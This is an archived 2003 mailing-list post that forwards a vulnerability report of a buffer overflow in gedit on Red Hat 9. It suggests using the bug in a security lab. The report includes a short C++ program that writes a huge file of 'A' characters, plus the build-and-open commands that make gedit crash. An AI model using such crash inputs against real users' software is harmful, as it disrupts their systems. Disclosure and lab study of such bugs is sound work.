[Apachebenchmark-sans-t4] RedHat Buffer Overflow from VulnWatch mailing list
Status: Alpha
Brought to you by:
rcbarnett
|
From: <mic...@us...> - 2003-11-26 03:22:17
|
New one - might be fun to play with during the lab:
Hello,
I discover a strange but simple buffer overflow in gedit.
I am using RH9,
to demostrate the buffer here is a simple file buffer generator:
===========buffer.c == cut here===============
/*
simple buffer overflow generator by MegaHz me...@me...
*/
#include <iostream>
using namespace std;
int main()
{
int i;
for (i=0;i<=9999999;i++)
{
cout << "A";
}
return 0;
}
===========================================
# g++ -o buffer buffer.c
# ./buffer > lala
# gedit lala
Segmentation fault
#
MegaHz (Andreas Constantinides)
www.megahz.org
www.cyhackportal.com
|